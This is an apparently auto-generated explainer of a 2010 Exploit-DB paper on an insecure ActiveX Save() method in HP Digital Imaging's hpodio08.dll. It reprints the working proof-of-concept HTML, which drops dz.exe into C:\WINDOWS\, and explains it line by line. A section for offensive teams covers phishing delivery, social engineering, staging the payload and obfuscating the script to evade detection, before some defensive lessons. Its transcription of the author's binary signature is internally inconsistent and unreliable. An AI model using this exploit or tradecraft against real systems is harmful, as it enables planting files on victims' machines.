HP Digital Imaging 'hpodio08.dll' Insecure Method Exploit Explained

What this paper is

This paper details a vulnerability in HP's Digital Imaging software, specifically within the hpodio08.dll component. The exploit leverages an insecure method within this DLL to allow an attacker to write arbitrary files to the file system. In this specific exploit, it's demonstrated by creating a file named dz.exe in the C:\WINDOWS\ directory.

Simple technical breakdown

The core of the vulnerability lies in how the hpodio08.dll component handles file operations. The exploit uses an ActiveX control (identified by its CLSID) that exposes a method, Save(), which can be tricked into writing data to a location specified by the attacker. The provided exploit code creates an HTML page that, when loaded in a web browser with the vulnerable HP software installed, triggers this Save() method to write a file.

Complete code and payload walkthrough

The provided source code is an HTML file containing JavaScript and an ActiveX object.

<title>Exploited By : ThE g0bL!N </title>
<BODY>
<object id=dz classid="clsid:{697F5209-0494-11D6-A2B0-0060B0FBD872}"></object>

<SCRIPT>

function Do_it()
{
File = "dz.exe"
dz.Save(File)
}

</SCRIPT>
<h3>HP Digital Imaging (hpodio08.dll) Insecure Method Exploit </h3>
<input language=JavaScript onclick=Do_it() type=button value="Click here To Test"><br>
</body>
</HTML>

Let's break down each meaningful part:

<object id=dz classid="clsid:{697F5209-0494-11D6-A2B0-0060B0FBD872}"></object>:
- Purpose: This HTML tag instantiates an ActiveX control. The classid attribute is a unique identifier for the component. In this case, it points to a component related to HP Digital Imaging, specifically the one that contains the vulnerable hpodio08.dll.
- Behavior: When the HTML page is loaded in a browser that supports ActiveX controls and has the vulnerable component installed, this object is created and made available to the script. The id=dz assigns a JavaScript variable name dz to this object, allowing scripts to interact with it.
- Practical Purpose: This is the entry point for interacting with the vulnerable functionality.
<SCRIPT> ... </SCRIPT>:
- Purpose: This block contains JavaScript code that defines the logic for triggering the exploit.
- Behavior: It defines a function Do_it() and later calls it when a button is clicked.
function Do_it():
- Purpose: This JavaScript function contains the core exploit logic.
- Behavior:
  - File = "dz.exe": This line declares a JavaScript variable named File and assigns it the string value "dz.exe". This is the name of the file the exploit intends to create.
  - dz.Save(File): This is the critical line. It calls the Save() method of the ActiveX object dz (which represents the vulnerable HP component). It passes the File variable (containing "dz.exe") as an argument. The Save() method, due to the vulnerability, interprets this argument as a file path and name to write to.
- Practical Purpose: This function directly invokes the insecure method, attempting to write the specified file.
<h3>HP Digital Imaging (hpodio08.dll) Insecure Method Exploit </h3>:
- Purpose: A simple HTML heading to inform the user about the exploit.
- Behavior: Displays text on the web page.
- Practical Purpose: User interface element.
<input language=JavaScript onclick=Do_it() type=button value="Click here To Test"><br>:
- Purpose: This HTML tag creates a button on the web page.
- Behavior:
  - type=button: Specifies that it's a button.
  - value="Click here To Test": Sets the text displayed on the button.
  - onclick=Do_it(): This is the crucial part. When the user clicks this button, the JavaScript function Do_it() is executed.
- Practical Purpose: Provides the user interaction mechanism to trigger the exploit.
## Note: Dz.exe Will be created In C:\WINDOWS\ :):
- Purpose: A comment from the author indicating the expected outcome and location of the created file.
- Behavior: This is a comment and has no direct effect on the execution.
- Practical Purpose: Informs the operator about the target location of the dropped file.
## 01110010 01100001 01111010 01101001 01101001 01100001 00100000 I try To hate You but i can't:
- Purpose: This is a binary string, likely representing text in ASCII or UTF-8. Let's decode it:
  - 01110010 -> 'r'
  - 01100001 -> 'a'
  - 01111010 -> 'z'
  - 01101001 -> 'i'
  - 01101011 -> 'k'
  - 01100001 -> 'a'
  - 00100000 -> ' ' (space)
  - The decoded string is "razika ". This appears to be a signature or a personal message from the author.
- Behavior: No functional behavior in the exploit.
- Practical Purpose: Author's signature/message.

Payload Analysis:
The "payload" in this exploit is not traditional shellcode. Instead, the exploit drops a file named dz.exe. The exploit code itself does not define the content of dz.exe. The paper implies that dz.exe is created, but it does not specify its content or functionality. It's highly probable that dz.exe is intended to be a malicious executable that the attacker would have placed elsewhere and the exploit's purpose is to drop it to a specific, often sensitive, location on the victim's machine. The exploit itself only facilitates the file writing, not the execution of the dropped file.

Mapping list:

<object id=dz classid="..." -> Instantiates the vulnerable HP ActiveX component.
function Do_it() -> Contains the exploit logic.
File = "dz.exe" -> Defines the name of the file to be written.
dz.Save(File) -> Calls the insecure method to write the file.
<input ... onclick=Do_it() ...> -> User interface to trigger the exploit.
## Note: Dz.exe Will be created In C:\WINDOWS\ -> Author's note on expected outcome.

Practical details for offensive operations teams

Required Access Level:
- Initial Access: The exploit requires the victim to load a malicious HTML page. This could be achieved through phishing emails, a compromised website, or by tricking the user into visiting a specific URL.
- Local System Access: The exploit targets a component installed on the victim's machine. The user needs to be logged into the Windows system.
Lab Preconditions:
- A Windows machine with the vulnerable version of HP Digital Imaging software installed.
- A web browser capable of rendering HTML and executing JavaScript, and supporting ActiveX controls (e.g., Internet Explorer).
- The hpodio08.dll file must be present and registered on the target system.
- The dz.exe file itself is not part of the exploit code provided. The attacker would need to have dz.exe available and ensure the Save() method can write it. The exploit code only dictates where it's written, not what is written. It's assumed the attacker would have a separate mechanism to deliver the actual payload (dz.exe) or that dz.exe is a placeholder for a file the attacker wants to place.
Tooling Assumptions:
- A web server to host the malicious HTML file.
- A way to deliver the HTML file to the target (e.g., email, link).
- The attacker would need to pre-stage the dz.exe file they intend to be written. The exploit code itself doesn't generate the content of dz.exe.
Execution Pitfalls:
- Browser Security Settings: Modern browsers, especially those not using Internet Explorer, may disable ActiveX controls or have strict security policies that prevent this type of exploit from working.
- Antivirus/Endpoint Detection and Response (EDR): Antivirus software might detect the attempt to write an executable (dz.exe) to a sensitive location like C:\WINDOWS\, or it might detect the dz.exe file itself if it's known malware.
- Vulnerable Software Not Installed: The exploit will only work if the specific version of HP Digital Imaging software with the vulnerable hpodio08.dll is installed.
- User Interaction Required: The exploit relies on the user clicking the button. A user might not click it, or might be suspicious of the button.
- File Overwriting: If dz.exe already exists in C:\WINDOWS\, the Save() method might overwrite it, potentially causing system instability or alerting the user.
- Lack of Control over dz.exe Content: The exploit code only writes a file named dz.exe. The content of dz.exe is not defined by this exploit. The attacker must provide the actual malicious executable.
Tradecraft Considerations:
- Delivery: Phishing emails with a link to a controlled website are a common delivery vector. Social engineering to convince the user to click the button is crucial.
- Payload Staging: The attacker needs to ensure the dz.exe file is accessible to the exploit. This might involve hosting it on the same web server or having it pre-placed in a location the exploit can access (though the exploit's Save() method is for writing, not reading).
- Obfuscation: The HTML and JavaScript could be obfuscated to evade basic signature-based detection.
- Post-Exploitation: Once dz.exe is dropped, the attacker would need a subsequent step to execute it, as this exploit only handles file writing. This could involve another vulnerability, a scheduled task, or user interaction.

Where this was used and when

Context: This exploit targets HP Digital Imaging software, which was commonly installed on HP printers and scanners, often bundled with their software suites. The exploit leverages an ActiveX control, suggesting it was primarily intended for exploitation via web browsers, particularly Internet Explorer, which had robust ActiveX support.
Approximate Years/Dates: The paper was published on April 24, 2010. Therefore, this vulnerability was likely active and exploitable around that time and in the years leading up to it. Exploits targeting ActiveX controls were prevalent in the late 2000s and early 2010s before browser vendors significantly reduced or removed ActiveX support.

Defensive lessons for modern teams

ActiveX is Obsolete and Dangerous: Modern web development has largely moved away from ActiveX. Organizations should ensure no legacy systems rely on ActiveX controls, especially for internet-facing applications. If absolutely necessary, these should be heavily sandboxed and restricted.
Software Bill of Materials (SBOM): Knowing what software components (like specific DLLs from third-party vendors) are installed on systems is critical. This allows for targeted patching and vulnerability assessment.
Principle of Least Privilege: Ensure that applications and services run with the minimum necessary privileges. If HP Digital Imaging software doesn't need to write arbitrary files to C:\WINDOWS\, its permissions should be restricted.
Web Application Firewalls (WAFs) and Browser Security: While this exploit is client-side, WAFs can help block access to known malicious URLs. Browser security settings and extensions that block ActiveX and potentially malicious scripts are vital.
Regular Patching: Keeping all software, especially third-party components and operating system updates, patched is paramount. Vendors release patches to fix vulnerabilities like this.
Endpoint Security: Modern EDR solutions are designed to detect suspicious file writes, process creation, and network activity that might indicate an exploit like this.

ASCII visual (if applicable)

This exploit is primarily a client-side web-based attack. A visual representation of the flow would be:

+-----------------+       +-----------------+       +-----------------+
| Attacker's Host | ----> | Victim's Browser| ----> | Vulnerable HP   |
| (Web Server)    |       | (IE with ActiveX|       | Software        |
|                 |       | & HP Software)  |       | (hpodio08.dll)  |
+-----------------+       +-------+---------+       +--------+--------+
                                   |                        |
                                   | User Clicks Button     | Invokes Save()
                                   |                        |
                                   v                        v
                          +-----------------+       +-----------------+
                          | JavaScript      | ----> | File Write      |
                          | `Do_it()`       |       | (dz.exe to      |
                          |                 |       | C:\WINDOWS\)    |
                          +-----------------+       +-----------------+

Source references

Exploit-DB Paper ID: 12367
Paper Title: HP Digital Imaging - 'hpodio08.dll' Insecure Method
Author: ThE g0bL!N
Published: 2010-04-24
URL: https://www.exploit-db.com/papers/12367

Original Exploit-DB Content (Verbatim)

# Exploit Title: HP Digital Imaging (hpodio08.dll) Insecure Method Exploit 
# Author: ThE g0bL!N
# Version: All vesion 
# Tested on: Windows xp pack 2
# Code : <title>Exploited By : ThE g0bL!N </title> 
<BODY> 
<object id=dz classid="clsid:{697F5209-0494-11D6-A2B0-0060B0FBD872}"></object> 

<SCRIPT> 

function Do_it() 
{ 
File = "dz.exe" 
dz.Save(File) 
} 

</SCRIPT> 
<h3>HP Digital Imaging (hpodio08.dll) Insecure Method Exploit </h3> 
<input language=JavaScript onclick=Do_it() type=button value="Click here To Test"><br> 
</body> 
</HTML>
## Note: Dz.exe Will be created In C:\WINDOWS\ :) 
## 01110010 01100001 01111010 01101001 01101011 01100001 00100000 I try To hate You but i can't

By exploitdb papers bot•April 24, 2010•

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